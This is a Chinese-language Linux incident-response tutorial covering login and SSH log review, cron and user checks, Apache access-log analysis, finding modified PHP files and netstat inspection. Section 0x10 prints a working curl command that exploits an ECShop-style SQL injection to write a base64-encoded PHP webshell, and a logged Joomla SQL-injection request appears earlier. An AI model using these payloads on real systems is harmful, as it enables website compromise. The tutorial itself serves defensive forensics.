Linux 应急响应-溯源-日志排查
0x01 简介
这是一次对Linux-CentOS系统的排查,由于隐私问题,所有IP均用假IP代替
0x02 查看当前已登陆到系统用户
[root@yefeng ~]# w12:28:12 up 2 min, 1 user, load average: 0.38, 0.29, 0.12USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATroot pts/0 123.123.123.123 12:27 4.00s 0.00s 0.00
0x03 查看所有用户最后一次登陆
[Username Port From Latestroot pts/0 123.123.123.123 Sat Jul 30 12:27:18 +0800 2022bin **Never logged in**daemon **Never logged in**adm **Never logged in**lp **Never logged in**sync **Never logged in**shutdown **Never logged in**记录中会有很多未登录过的用户,可以通过grep-v命令进行过滤,不显示没有登陆过的用户[Username Port From Latestroot pts/0 123.123.123.123 Sat Jul 30 12:27:18 +0800 2022
0x04 查看历史登陆用户以及登陆失败用户
root pts/0 123.123.123.63 Sat Jul 30 12:27 still logged inreboot system boot 1.23.4-1234.12.3 Sat Jul 30 20:26 - 13:22 (-7:-4)root pts/0 123.123.123.123 Sat Jul 30 12:24 - down (00:01)root pts/0 123.123.123.123 Fri Jul 29 20:51 - 23:09 (02:17)root pts/0 213.123.123.123 Fri Jul 29 13:49 - 13:49 (00:00)root pts/2 123.123.124.231 Fri Jul 15 12:03 - 12:03 (00:00)root pts/1 123.123.124.231 Fri Jul 15 12:02 - 12:03 (00:00)root pts/0 123.123.124.231 Fri Jul 15 11:12 - 13:55 (02:42)reboot system boot 1.23.4-1234.12.3 Fri Jul 15 07:09 - 12:26 (15+05:16)查看最近5个登陆的用户root pts/0 123.123.123.123 Sat Jul 30 12:27 still logged inreboot system boot 1.23.4-1234.12.3 Sat Jul 30 20:26 - 13:37 (-6:-48)root pts/0 123.123.123.123 Sat Jul 30 12:24 - down (00:01)root pts/0 123.123.123.123 Fri Jul 29 20:51 - 23:09 (02:17)root pts/0 123.123.123.123 Fri Jul 29 13:49 - 13:49 (00:00)root pts/0 Sat Jul 30 12:27 still logged in 123.123.123.123reboot system boot Sat Jul 30 20:26 - 14:17 (-6:-8) 1.23.4-1234.12.3.el7.x86_64root pts/0 Sat Jul 30 12:24 - down (00:01) 123.123.123.123root pts/0 Fri Jul 29 20:51 - 23:09 (02:17) 123.123.123.123root pts/0 Fri Jul 29 13:49 - 13:49 (00:00) 123.123.123.123root 123.123.123.123reboot 0.0.0.0root 123.123.123.123root 123.123.123.123root 123.123.123.123root 123.123.123.123root 123.123.123.123root 123.123.123.123reboot 0.0.0.0对登陆系统的用户和ip进行排序计数18 root 123.123.123.12313 root localhost7 reboot 0.0.0.06 root 123.123.123.1235 root 123.123.123.1235 root 123.123.123.1235 root 123.123.123.1235 root 123.123.123.1233 root 123.123.123.1233 root 123.123.123.123Sort会将文本进行排序默认排序会把一样的行都排到一起Sort -nr 排序 -nr 倒叙 -n正序Lastb查看所有登陆记录,包含失败45 root 61.155.110.21037 root 220.194.171.23619 root 211.155.228.22617 root 222.186.190.14616 root 221.234.71.139 root 139.217.92.756 root 37.116.206.1135 root 60.171.76.1335 root 146.59.236.2464 vivek 139.217.92.754 valheim 139.217.92.754 username 139.217.92.75
0x05 SSH登陆日志分析
所有的用户登陆都会在/var/log/secure日志文件中记录,[root-rw------- 1 root root 0 Jul 24 03:27 /var/log/secure-rw------- 1 root root 109103 Jul 3 02:17 /var/log/secure-20220703-rw------- 1 root root 75919 Jul 10 03:08 /var/log/secure-20220710-rw------- 1 root root 51261 Jul 14 23:04 /var/log/secure-20220717-rw------- 1 root root 0 Jul 17 03:48 /var/log/secure-20220724通过通配符查看所有secure文件中登陆失败的记录[root/var/log/secure-20220703:Jun 26 04:12:57 mail sshd[12963]: Failed password for invalid user guest from 150.158.166.12 port 53368 ssh2/var/log/secure-20220703:Jun 26 08:30:17 mail sshd[8520]: Failed password for invalid user wang from 150.158.166.12 port 35258 ssh2/var/log/secure-20220703:Jun 26 08:47:28 mail sshd[10371]: Failed password for invalid user dev from 150.158.166.12 port 58518 ssh2/var/log/secure-20220703:Jun 26 09:13:35 mail sshd[13243]: Failed password for root from 221.234.71.13 port 64281 ssh2/var/log/secure-20220703:Jun 26 09:13:37 mail sshd[13243]: Failed password for root from 221.234.71.13 port 64281 ssh2/var/log/secure-20220703:Jun 26 09:13:39 mail sshd[13243]: Failed password for root from 221.234.71.13 port 64281 ssh2取出第九列和第十一列[root27 root 61.155.110.21019 root 222.186.190.14617 root 221.234.71.136 root 220.194.171.2365 root 139.217.92.944 root 150.223.10.2194 invalid test4 invalid oracle4 invalid admin3 root 84.166.89.1013 root 150.158.166.123 invalid steam3 invalid hadoop3 invalid elastic2 root 89.240.112.3有一些意料之外的记录,这里可能是攻击者错误配置登陆导致的。可以通过grep -v去掉这些记录。但是这种乱搞的人的ip需要单独关注一下[root4 invalid test4 invalid oracle4 invalid admin3 invalid steam3 invalid hadoop3 invalid elastic2 invalid wang2 invalid nvidia2 invalid git1 invalid yulei1 invalid xwang过滤用户名+登陆失败的IP[root27 root 61.155.110.21019 root 222.186.190.14617 root 221.234.71.136 root 220.194.171.2365 root 139.217.92.944 root 150.223.10.2193 root 84.166.89.1013 root 150.158.166.122 root 89.240.112.32 root 60.171.76.1332 root 39.174.65.2272 root 114.42.142.1212 create Connection查看登陆成功的ip[root3 123.191.824.2111 620.219.120.1421 223.104.115.1311 123.623.245.212
0x06 查看系统历史命令
系统历史命令一般保存在用户家目录下.bash_history文件中[root@yefeng ~]# find / -name .bash_history/root/.bash_history查看当前用户的历史命令[root@yefeng ~]# history521 |awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr522 grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release"523 grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release" |awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr524 grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq525 -c | sort -nr | more526 grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more527 history常用系统日志说明日志目录 作用/var/log/message 包括整体系统信息/var/log/auth.log 包含系统授权信息,包括用户登录和使用的权限机制等/var/log/userlog 记录所有等级用户信息的日志/var/log/cron 记录 crontab 命令是否被正确的执行/var/log/vsftpd.log 记录 Linux FTP 日志/var/log/lastlog 记录登录的用户,可以使用命令 lastlog 查看/var/log/secure 记录大多数应用输入的账号与密码,登录成功与否/var/log/wtmp 记录登录系统成功的账户信息,等同于命令 last 请/var/log/btmp 记录登录系统失败的用户名单,等同于命令lastb /var/log/faillog 记录登录系统不成功的账号信息,一般会被黑客删除
0x07 计划任务日志
所有执行过的计划任务都会存在/var/log/crom文件中查看所有执行过的计划任务[root@yefeng ~]# cat /var/log/cron* |awk -F':' '{print $NF}' |grep CMD |sort|uniq -c452 (root) CMD (run-parts /etc/cron.hourly)2711 (root) CMD (/usr/lib64/sa/sa1 1 1)18 (root) CMD (/usr/lib64/sa/sa2 -A)18 (root) CMD (/www/server/cron/3ab48c27ec99cb9787749c362afae517查看所有用户的计划任务[root@yefeng ~]# cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {}10 0 * * * /www/server/cron/3ab48c27ec99cb9787749c362afae517no crontab for binno crontab for daemonno crontab for admno crontab for lpno crontab for syncno crontab for shutdown可以直接查看/var/spool/cron/下的内容,所有用户级别的计划任务,都在这里有文件[root@yefeng ~]# ls /var/spool/cron/root以上是用户级别的系统任务,系统级别的计划任务只能排查配置文件中的内容查看系统级别的计划任务文件名[root@yefeng ~]# find /etc/cron* -type f/etc/cron.d/sysstat/etc/cron.d/0hourly/etc/cron.daily/rhsmd/etc/cron.daily/man-db.cron/etc/cron.daily/logrotate/etc/cron.deny/etc/cron.hourly/0anacron/etc/crontab
0x08 检查系统用户
Linux系统用户主要存放在/etc/passwd文件和/etc/shadow文件中,还有一个组文件/etc/group[root@yefeng ~]# head -n 1 /etc/passwdroot:x:0:0:root:/root:/bin/bash/*/etc/passwd文件存放的是用户的信息,由6个分号组成的7个信息(1):用户名(2):密码(已加密)(3):UID(用户标识),操作系统自己用的(4):GID组标识(5):用户全名或本地账号(6):开始目录(7):登陆使用的Shell,就是对登陆命令进行解析的工具重点在于UID和GID,root用户的标识为0,如果一个普通用户的UID修改为0,那么这个用户就成为了重点用户*/
0x09 中间件日志
/*Apache日志字段说明字段名称 描述远程主机 P表明是谁访问了网站空白(E-mail) 为了避免用户的邮箱被垃圾邮件骚扰,第二项就用“-”取代了空白(登录名) 用于记录浏览者进行身份验证时提供的名字请求时间 用方括号包围,而且采用“公用日志格式”或者“标准英文格式”。时间信息最后的“+0800”表示服务器所处时区位于UTC之后的8小时方法 请求的方式:METHOD、GET、POST、HEAD等资源 请求的文件协议 请求的协议:HTTP+版本号状态码 请求的状态码发送的字节数 表示发送给客户端的总字节数。它告诉我们传输是否被打断(该数值是否和文件的大小相同)Referer 从哪个页面链接过来的User-Agent 使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、*/[root@yefeng ~]# cat /www/wwwlogs/access_log |less128.14.141.34 - - [05/Mar/2022:12:15:27 +0800] "GET / HTTP/1.1" 200 766217.12.219.9 - - [05/Mar/2022:12:19:54 +0800] "CONNECT elmir.ua:443 HTTP/1.1" 405 283127.0.0.1 - - [05/Mar/2022:12:42:14 +0800] "GET /.well-known/pki-validation/fileauth.txt HTTP/1.1" 404 257130.211.54.158 - - [05/Mar/2022:12:48:48 +0800] "GET / HTTP/1.1" 200 76620.127.66.245 - - [05/Mar/2022:12:57:39 +0800] "GET /.env HTTP/1.1" 404 26020.127.66.245 - - [05/Mar/2022:12:57:40 +0800] "POST / HTTP/1.1" 200 76639.103.163.218 - - [05/Mar/2022:13:42:29 +0800] "GET /nmaplowercheck1646458945 HTTP/1.1" 404 26039.103.163.218 - - [05/Mar/2022:13:42:29 +0800] "GET /HNAP1 HTTP/1.1" 404 26039.103.163.218 - - [05/Mar/2022:13:42:29 +0800] "GET /evox/about HTTP/1.1" 404 26039.103.163.218 - - [05/Mar/2022:13:42:38 +0800] "GET / HTTP/1.0" 200 132639.103.163.218 - - [05/Mar/2022:13:42:38 +0800] "GET / HTTP/1.0" 200 132639.103.163.218 - - [05/Mar/2022:13:42:46 +0800] "POST /sdk HTTP/1.1" 404 26039.103.163.218 - - [05/Mar/2022:13:42:58 +0800] "\x16\x03\x01\x02" 400 285查询访问网站次数最多的10个IP地址[root@yefeng ~]# cat /www/wwwlogs/access_log |cut -f 1 -d ' '|sort|uniq -c|sort -nr|head -102361 112.98.175.23988 127.0.0.166 109.237.103.12359 154.53.59.1755 83.97.20.3453 92.118.234.20249 109.237.103.945 109.237.103.11834 156.67.221.132 47.92.4.72查看访问最多的URI[root@yefeng ~]# cat /www/wwwlogs/access_log |cut -f 7 -d ' '|sort|uniq -c|sort -nr|head -101092 /269 /broadweb/user/signin.asp150 400120 http://azenv.net/100 /index.php/ajax/api/reputation/vote78 /.env43 /HNAP1/32 *26 /.aws/credentials25 408查看服务哪个时间段访问最高[root@yefeng ~]# cat /www/wwwlogs/access_log |cut -f 4 -d ' '|sort|uniq -c|sort -nr|head -1021 [07/Mar/2022:07:20:0018 [06/Mar/2022:21:57:3118 [06/Mar/2022:21:57:2917 [06/Mar/2022:21:57:5417 [06/Mar/2022:21:57:5017 [06/Mar/2022:21:57:4317 [06/Mar/2022:21:57:0917 [06/Mar/2022:21:56:4017 [06/Mar/2022:21:55:3617 [06/Mar/2022:21:53:37查看日中存在的select的请求,如果站点存在GET类型的SQL,可以通过SQL语句中关键词筛选,这里仅距离,其他关键字自行替换,下面为DVWA测试数据[root@yefeng ~]# grep select /www/wwwlogs/access_log112.98.175.239 - - [06/Mar/2022:22:02:17 +0800] "GET /index.php?option=com_contenthistory&view=history&list%5bordering%5d=&item_id=1&type_id=1&list%5bselect%5d=%20%28select%20col.a%20from%20%28select%20count%28%2a%29%2c%20concat%280x3a%2c%200x3a%2c%20%28select%20substr%28session_id%2c1%2c100%29%20from%20FX8eYzlS73gZdxRsession%20WHERE%20data%20LIKE%20%27%25Super%20User%25%27%20AND%20data%20NOT%20LIKE%20%27%25IS%20NOT%20NULL%25%27%20AND%20userid%21%3d%270%27%20AND%20username%20IS%20NOT%20NULL%20limit%200%2c1%29%2c%200x3a%2c%200x3a%2c%20floor%28rand%28%29%2a2%29%29%20a%20from%20information_schema.columns%20i1%20group%20by%20a%29%20col%29%2c%27A%27%20union%20select%20uc.id%20 HTTP/1.1" 302 913通过只可以快速定位到攻击者IP地址,攻击发起的时间,过滤出由攻击者IP发起的所有请求即 可还原该用户的所有请求记录[root@yefeng ~]# grep "112.98.175.239" /www/wwwlogs/access_log112.98.175.239 - - [06/Mar/2022:22:20:52 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291112.98.175.239 - - [06/Mar/2022:22:20:52 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291112.98.175.239 - - [06/Mar/2022:22:20:52 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291112.98.175.239 - - [06/Mar/2022:22:20:52 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291112.98.175.239 - - [06/Mar/2022:22:20:53 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291112.98.175.239 - - [06/Mar/2022:22:20:53 +0800] "POST /broadweb/user/signin.asp HTTP/1.1" 302 291
0x10 通过时间检查站点被黑客修改过的文件
这里摸你测试数据对站点写入webshell[root@yefeng ~]# curl http://www.yefeng.info/user.php -d "action=login&123=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" -H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'检查最近1天被修改过的文件[root@yefeng ~]# find /www/wwwroot/www.yefeng.info/ -name "*.php" -mtime -1/www/wwwroot/www.yefeng.info/123.php/www/wwwroot/www.yefeng.info/wp-includes/block-patterns.php/www/wwwroot/www.yefeng.info/wp-includes/bookmark.php/www/wwwroot/www.yefeng.info/wp-includes/blocks/query-no-results.php/www/wwwroot/www.yefeng.info/wp-includes/blocks/post-template.php/www/wwwroot/www.yefeng.info/wp-includes/assets/script-loader-packages.phpfind -name “*.pph” 查找*.php文件-mtime -1 查找最近1天内被修改过的文件Linux文件3个时间属性atime acess time 访问时间 文件中的数据库最后被访问的时间mtime modify time 修改时间 文件内容被修改的最后时间ctime chage time 变化时间 文件的元数据发生变化。比如权限,所有者等[root@yefeng ~]# stat /www/wwwroot/www.yefeng.info/123.phpFile: ‘/www/wwwroot/www.yefeng.info/123.php’Size: 31 Blocks: 8 IO Block: 4096 regular fileDevice: fd01h/64769d Inode: 535716 Links: 1Access: (0644/-rw-r--r--) Uid: ( 1001/ www) Gid: ( 1001/ www)Access: 2022-08-30 15:16:21.579827018 +0800Modify: 2022-08-30 15:16:17.217656461 +0800Change: 2022-08-30 15:16:17.217656461 +0800Birth: -但是 ls 命令默认查看的日期格式是英文的,如果想修改为 2022-08-30 这样的格式需要进行修改。[root@yefeng ~]# echo "export TIME_STYLE='+%Y/%m/%d %H:%M:%S'" >>/etc/profile[root@yefeng ~]# source /etc/profile[root@yefeng ~]# ll /www/wwwroot/www.yefeng.info/123.php-rw-r--r-- 1 www www 31 2022-08-30 15:16:17/www/wwwroot/www.yefeng.info/123.php如果站点中修改的文件过多,可以在 find 时进行过滤,一句话木马中常见关键字有 eval、system,对这些关键词进行过滤即可。有时找到木马之后对这个马的关键词进行过滤,比如通过 D 盾检测 webshell。[root@yefeng ~]# find /www/wwwroot/www.yefeng.info/ -name "*.php" -mtime 0 |xargs grep "eval"xargs 可以把前面 find 命令的查询结果传递给后面的命令。多个关键词可以在 grep 中添加条件,比如:| 或,需要使用 \ 转义,添加方式如下:grep "eval\ | system"把 webshell 和日志中入侵记录关联起来。[root@yefeng ~]# find /www/wwwroot/www.yefeng.info/ -name "*.php" -mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l-rwxr-xr-x 1 www www 64353 Aug 31 09:28 /www/wwwroot/www.yefeng.info/wp-admin/includes/update-core.php-rwxr-xr-x 1 www www 64353 Aug 31 09:28 /www/wwwroot/www.yefeng.info/wp-admin/includes/update-core.php-rwxr-xr-x 1 www www 45556 Aug 31 09:28 /www/wwwroot/www.yefeng.info/wp-includes/blocks.php-rwxr-xr-x 1 www www 15342 Aug 31 09:28 /www/wwwroot/www.yefeng.info/wp-includes/bookmark.php-rwxr-xr-x 1 www www 15342 Aug 31 09:28 /www/wwwroot/www.yefeng.info/wp-includes/bookmark.php通过日期可以定位到日志中的操作[root@yefeng ~]# find /www/wwwroot/www.yefeng.info/ -name "*.php" -mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l |grep "09:28" /www/wwwlogs/access_log83.97.20.34 - - [08/Mar/2022:17:09:28 +0800] "GET / HTTP/1.0" 302 267184.105.247.196 - - [08/Mar/2022:21:09:28 +0800] "GET / HTTP/1.1" 302 267
0x11 检查服务器已经建立的网络连接
如果黑客已经和服务器建立了连接,可通过查看当前服务器已经建立的链接来分析恶意 ip 和进程。Linux 中查看网络连接常用 netstat。netstat 命令参数-a 或--all:显示所有连线中的 Socket;-n 或--numeric:直接使用 ip 地址,而不通过域名服务器;-p 或--programs:显示正在使用 Socket 的程序识别码和程序名称;-t 或--tcp:显示 TCP 传输协议的连线状况;-u 或--udp:显示 UDP 传输协议的连线状况;[root@yefeng ~]# netstat -anutpActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 1718/mysqldtcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN 966/memcachedtcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1829/nginx: mastertcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 1221/pure-ftpd (SERtcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1878/sshdtcp 0 0 0.0.0.0:888 0.0.0.0:* LISTEN 1829/nginx: mastertcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 1829/nginx: mastertcp 0 0 127.0.0.1:52052 127.0.0.1:11211 ESTABLISHED 1004/python查看已经建立连接的会话[root@yefeng ~]# netstat -anutp |grep ESTABLISHEDtcp 0 0 127.0.0.1:52052 127.0.0.1:11211 ESTABLISHED 1004/pythontcp 0 0 127.0.0.1:11211 127.0.0.1:52052 ESTABLISHED 966/memcachedtcp 0 0 172.29.175.101:51672 100.100.30.25:80 ESTABLISHED 2075/AliYunDuntcp 0 36 172.29.175.101:22 60.11.27.182:57503 ESTABLISHED 15208/sshd: root@pttcp6 0 0 172.29.175.101:8888 192.99.5.174:38212 ESTABLISHED 1916/python3[root@yefeng ~]# netstat -anutp |grep 22tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 1221/pure-ftpd (SERtcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1878/sshdtcp 0 36 172.29.175.101:22 60.11.27.182:57503 ESTABLISHED 15208/sshd: root@pttcp6 0 0 :::21 :::* LISTEN 1221/pure-ftpd (SER[root@yefeng ~]# netstat -anutp |grep LISTENtcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN 1718/mysqldtcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN 966/memcachedtcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1829/nginx: mastertcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 1221/pure-ftpd (SERtcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1878/sshdtcp 0 0 0.0.0.0:888 0.0.0.0:* LISTEN 1829/nginx: mastertcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 1829/nginx: master
浙公网安备 33010602011771号